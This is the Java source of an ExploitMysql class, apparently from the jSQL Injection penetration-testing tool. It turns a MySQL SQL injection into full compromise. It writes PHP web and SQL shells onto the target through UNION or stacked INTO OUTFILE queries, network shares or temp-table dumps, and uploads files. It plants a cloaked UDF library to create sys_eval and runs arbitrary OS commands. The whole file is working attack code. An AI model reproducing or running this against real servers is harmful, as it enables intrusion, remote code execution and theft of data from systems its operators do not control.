View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ExploitMode;
6   import com.jsql.model.accessible.ResourceAccess;
7   import com.jsql.model.accessible.engine.mysql.ModelYamlMysql;
8   import com.jsql.model.bean.database.MockElement;
9   import com.jsql.view.subscriber.Seal;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.injection.engine.model.EngineYaml;
14  import com.jsql.model.suspendable.SuspendableGetRows;
15  import com.jsql.util.LogLevelUtil;
16  import com.jsql.util.StringUtil;
17  import org.apache.commons.codec.binary.Hex;
18  import org.apache.commons.lang3.RandomStringUtils;
19  import org.apache.commons.lang3.StringUtils;
20  import org.apache.logging.log4j.LogManager;
21  import org.apache.logging.log4j.Logger;
22  import org.yaml.snakeyaml.Yaml;
23  
24  import java.io.*;
25  import java.net.http.HttpResponse;
26  import java.nio.charset.StandardCharsets;
27  import java.nio.file.Files;
28  import java.nio.file.Path;
29  import java.nio.file.Paths;
30  import java.util.List;
31  import java.util.Objects;
32  import java.util.UUID;
33  import java.util.function.BiPredicate;
34  import java.util.function.BinaryOperator;
35  
36  public class ExploitMysql {
37  
38      private static final Logger LOGGER = LogManager.getRootLogger();
39      public static final String NAME_TABLE = "temp";
40      private final InjectionModel injectionModel;
41      private final ModelYamlMysql modelYaml;
42  
43      private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
44          try {
45              return this.buildSysEval(nameLibraryRandom);
46          } catch (JSqlException e) {
47              throw new JSqlRuntimeException(e);
48          }
49      };
50  
51      public ExploitMysql(InjectionModel injectionModel) {
52          this.injectionModel = injectionModel;
53          var yaml = new Yaml();
54          this.modelYaml = yaml.loadAs(
55              injectionModel.getMediatorEngine().getMysql().instance().getModelYaml().getResource().getExploit(),
56              ModelYamlMysql.class
57          );
58      }
59  
60      public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
61          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
62  
63          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
64              this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
65              return urlSuccess;
66          };
67          return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
68      }
69  
70      public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
71          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
72              var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
73              if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
74                  this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
75                  return urlSuccess;
76              }
77              return StringUtils.EMPTY;
78          };
79          var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
80          if (StringUtils.isEmpty(urlSuccess)) {
81              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
82              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
83          }
84          if (StringUtils.isEmpty(urlSuccess)) {
85              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
86              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
87          }
88          if (StringUtils.isEmpty(urlSuccess)) {
89              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
90          }
91          return urlSuccess;
92      }
93  
94      public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
95          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
96              try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
97                  HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
98                  if (result.body().contains(DataAccess.LEAD +"y")) {
99                      LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
100                 } else {
101                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
102                 }
103             } catch (InterruptedException e) {
104                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
105                 Thread.currentThread().interrupt();
106             } catch (IOException | JSqlException e) {
107                 throw new JSqlRuntimeException(e);
108             }
109             return urlSuccess;
110         };
111         this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
112     }
113 
114     /**
115      * Create shell on remote server
116      * @param urlExploit  URL for the script (used for url rewriting)
117      */
118     public String create(
119         String pathRemoteFolder,
120         String urlExploit,
121         String keyPropertyExploit,
122         String nameExploit,
123         BinaryOperator<String> biFuncGetRequest,
124         String pathNetshareFolder,
125         ExploitMode exploitMode
126     ) throws JSqlException {
127         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
128             return null;
129         }
130 
131         String bodyExploit = StringUtil.base64Decode(
132                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(keyPropertyExploit)
133             )
134             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
135             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
136 
137         // outfile + binary: content corruption
138         BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
139             try {
140                 String resultInjection = this.confirm(pathFolder + nameFile);
141                 return resultInjection.contains(bodyExploit);
142             } catch (JSqlException e) {
143                 throw new JSqlRuntimeException(e);
144             }
145         };
146 
147         var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
148         String nameExploitValidated = StringUtils.EMPTY;
149 
150         if (exploitMode == ExploitMode.NETSHARE) {
151             ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
152             nameExploitValidated = this.byNetshare(
153                 nbIndexesPrefix,
154                 pathNetshareFolder,
155                 nameExploit,
156                 pathRemoteFolder,
157                 biPredConfirm
158             );
159         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
160             nameExploitValidated = this.byQueryBody(
161                 nbIndexesPrefix,
162                 pathRemoteFolder,
163                 nameExploit,
164                 StringUtil.toHexChunks(bodyExploit.getBytes()),
165                 biPredConfirm
166             );
167         }
168         if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
169             var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
170             this.byTable(
171                 StringUtil.toHexChunks(bodyExploit.getBytes()),
172                 pathRemoteFolder + nameExploitRandom
173             );
174             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
175                 nameExploitValidated = nameExploitRandom;
176             }
177         }
178 
179         if (StringUtils.isEmpty(nameExploitValidated)) {
180             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
181             return null;
182         }
183         nameExploit = nameExploitValidated;
184         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
185 
186         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
187     }
188 
189     public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
190         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
191 
192         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
193             return;
194         }
195 
196         var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
197         var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
198         if (StringUtils.isEmpty(pathPlugin)) {
199             throw new JSqlException("Incorrect plugin folder: path is empty");
200         }
201 
202         String nameLibrary = this.getNameLibrary();
203 
204         pathPlugin = pathPlugin.replace("\\", "/");
205         if (!pathPlugin.endsWith("/")) {
206             pathPlugin = String.format("%s%s", pathPlugin, "/");
207         }
208 
209         if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
210             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
211         }
212         String isSuccess = StringUtils.EMPTY;
213         if (exploitMode == ExploitMode.NETSHARE) {
214             if (!pathNetshareFolder.endsWith("\\")) {
215                 pathNetshareFolder += "\\";
216             }
217             ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
218             isSuccess = this.byNetshare(
219                 nbIndexesFound,
220                 pathNetshareFolder,
221                 nameLibrary,
222                 pathPlugin,
223                 this.biPredCreateUdf
224             );
225         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
226             if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().connectionUtil().getTypeRequest())) {
227                 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
228             }
229             isSuccess = this.byQueryBody(
230                 nbIndexesFound,
231                 pathPlugin,
232                 nameLibrary,
233                 ExploitMysql.toHexChunks(nameLibrary),
234                 this.biPredCreateUdf
235             );
236         }
237         if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
238             var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
239             this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
240             this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
241         }
242     }
243 
244     private String getNameLibrary() throws JSqlException {
245         var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
246         if (StringUtils.isEmpty(versionOsMachine)) {
247             throw new JSqlException("Incorrect remote machine: unknown system");
248         }
249         var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
250         String nameLibrary;
251         if (versionOsMachine.contains("64")) {
252             nameLibrary = isWin ? "64.dll" : "64.so";
253         } else {
254             nameLibrary = isWin ? "32.dll" : "32.so";
255         }
256         return nameLibrary;
257     }
258 
259     public String byQueryBody(
260         int nbIndexesPrefix,
261         String pathRemoteFolder,
262         String nameExploit,
263         List<String> hexChunks,
264         BiPredicate<String, String> biPredConfirm
265     ) {
266         String nameExploitValidated = StringUtils.EMPTY;
267         var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
268 
269         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
270         int countUnionIndex = this.injectionModel.getMediatorUtils().preferencesUtil().isLimitingUnionIndex()
271             ? this.injectionModel.getMediatorUtils().preferencesUtil().countUnionIndex()
272             : 15;
273         for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
274             int finalI = i;
275             LOGGER.log(
276                 LogLevelUtil.CONSOLE_DEFAULT,
277                 "Checking file write with [union select {}fileBody]",
278                 () -> "'',".repeat(finalI)
279             );
280             this.injectionModel.injectWithoutIndex(String.format(pattern,
281                 "and 1=2 union",  // false required, prevent writing origin rows instead of file body when true
282                 "'',".repeat(i),
283                 String.join(StringUtils.EMPTY, hexChunks),
284                 pathRemoteFolder + nameExploitRandom
285             ), "body#union-dump");
286             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
287                 nameExploitValidated = nameExploitRandom;
288                 break;
289             } else if (nbIndexesPrefix > -1) {  // interrupt when Union already found
290                 break;
291             }
292         }
293         if (StringUtils.isEmpty(nameExploitValidated)) {
294             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
295             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
296             this.injectionModel.injectWithoutIndex(String.format(pattern,
297                 ";",
298                 StringUtils.EMPTY,
299                 String.join(StringUtils.EMPTY, hexChunks),
300                 pathRemoteFolder + nameExploitRandom
301             ), "body#stack-dump");
302             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
303                 nameExploitValidated = nameExploitRandom;
304             }
305         }
306         return nameExploitValidated;
307     }
308 
309     public String byNetshare(
310         int nbIndexesPrefix,
311         String pathNetshareFolder,
312         String nameExploit,
313         String pathRemoteFolder,
314         BiPredicate<String, String> biPredConfirm
315     ) {
316         String nameExploitValidated = StringUtils.EMPTY;
317         var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
318         var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
319 
320         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
321         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
322         this.injectionModel.injectWithoutIndex(String.format(pattern,
323             "and 1=2 union",  // required false, prevent writing origin rows instead of file body when true
324             "'',".repeat(nbIndexesPrefix),
325             pathShareEncoded + nameExploit,
326             pathRemoteFolder + nameExploitRandom
327         ), "netshare#union");
328         if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
329             nameExploitValidated = nameExploitRandom;
330         }
331         if (StringUtils.isEmpty(nameExploitValidated)) {
332             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
333             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
334             this.injectionModel.injectWithoutIndex(String.format(pattern,
335                 ";",
336                 StringUtils.EMPTY,
337                 pathShareEncoded + nameExploit,
338                 pathRemoteFolder + nameExploitRandom
339             ), "netshare#stack");
340             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
341                 nameExploitValidated = nameExploitRandom;
342             }
343         }
344         return nameExploitValidated;
345     }
346 
347     public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
348         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
349         var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
350         if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
351             nameDatabase = "mysql";
352         }
353         var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
354         var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
355         this.injectionModel.injectWithoutIndex(String.format(
356             this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
357             nameSchemaTable
358         ), ResourceAccess.TBL_DROP);
359         var countResult = this.getCountTable(nameDatabase, nameTableRandom);
360         if (!"0".equals(countResult)) {
361             throw new JSqlException("Drop table failure: "+ countResult);
362         }
363         this.injectionModel.injectWithoutIndex(String.format(
364             this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
365             nameSchemaTable
366         ), ResourceAccess.TBL_CREATE);
367         countResult = this.getCountTable(nameDatabase, nameTableRandom);
368         if (!"1".equals(countResult)) {
369             throw new JSqlException("Create table failure: "+ countResult);
370         }
371         int indexChunk = 0;
372         for (String chunk: bodyHexChunks) {
373             if (indexChunk == 0) {
374                 this.injectionModel.injectWithoutIndex(String.format(
375                     this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
376                     nameSchemaTable,
377                     chunk
378                 ), "tbl#init");
379             } else {
380                 this.injectionModel.injectWithoutIndex(String.format(
381                     this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
382                     nameSchemaTable,
383                     chunk
384                 ), ResourceAccess.TBL_FILL);
385             }
386             indexChunk++;
387         }
388         this.injectionModel.injectWithoutIndex(String.format(
389             this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
390             nameSchemaTable,
391             pathRemoteFile
392         ), ResourceAccess.TBL_DUMP);
393     }
394 
395     private String getCountTable(String nameDatabase, String nameTableRandom) {
396         try {
397             return this.injectionModel.getResourceAccess().getResult(String.format(
398                 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
399                 nameTableRandom,
400                 nameDatabase
401             ), "tbl#check");
402         } catch (JSqlException e) {
403             return e.getMessage();  // error message then logged
404         }
405     }
406 
407     private boolean buildSysEval(String nameLibrary) throws JSqlException {
408         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
409         this.injectionModel.injectWithoutIndex(String.format(
410             this.modelYaml.getUdf().getAddFunction().getCreate(),
411             nameLibrary
412         ), "udf#function");
413         var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
414         if (!confirm.contains("sys_eval")) {
415             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
416             return false;
417         }
418         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
419 
420         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
421             (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitMysql().runRceCmd(command, terminalID)
422         ));
423         return true;
424     }
425 
426     public String confirm(String path) throws JSqlException {
427         var sourcePage = new String[]{ StringUtils.EMPTY };
428         return new SuspendableGetRows(this.injectionModel).run(
429             this.modelYaml.getFile().getRead().replace(
430                 EngineYaml.FILEPATH_HEX,
431                 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
432             ),
433             sourcePage,
434             false,
435             1,
436             MockElement.MOCK,
437             "xplt#confirm-file"
438         );
439     }
440 
441     public String runRceCmd(String command, UUID uuidShell) {
442         String result;
443         try {
444             result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
445                 this.modelYaml.getUdf().getRunCmd(),
446                 command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
447             ), "udf#run-cmd") +"\n";
448         } catch (JSqlException e) {
449             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
450         }
451         this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
452         return result;
453     }
454 
455     public String getRead(String pathFile) throws AbstractSlidingException {
456         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
457         return new SuspendableGetRows(this.injectionModel).run(
458                 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
459                 EngineYaml.FILEPATH_HEX,
460                 Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
461             ),
462             new String[]{ StringUtils.EMPTY },
463             false,
464             1,
465             MockElement.MOCK,
466             ResourceAccess.FILE_READ
467         );
468     }
469 
470     private static List<String> toHexChunks(String filename) throws JSqlException {
471         try {
472             byte[] fileData = ExploitMysql.uncloak(filename);
473             return StringUtil.toHexChunks(fileData);
474         } catch (IOException e) {
475             throw new JSqlException(e);
476         }
477     }
478 
479     private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
480         try {
481             byte[] fileData = ExploitMysql.uncloak(nameLibrary);
482             Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
483             try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
484                 stream.write(fileData);
485             }
486         } catch (IOException e) {
487             throw new JSqlException(e);
488         }
489     }
490 
491     private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
492         Path path = Paths.get(pathFile);
493         try {
494             Files.write(path, bodyExploit.getBytes());
495         } catch (IOException e) {
496             throw new JSqlException(e);
497         }
498     }
499 
500     private static byte[] uncloak(String nameLibrary) throws IOException {
501         byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
502             ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
503         ).readAllBytes();
504         fileData = StringUtil.uncloak(fileData);
505         return fileData;
506     }
507 
508     public ModelYamlMysql getModelYaml() {
509         return this.modelYaml;
510     }
511 }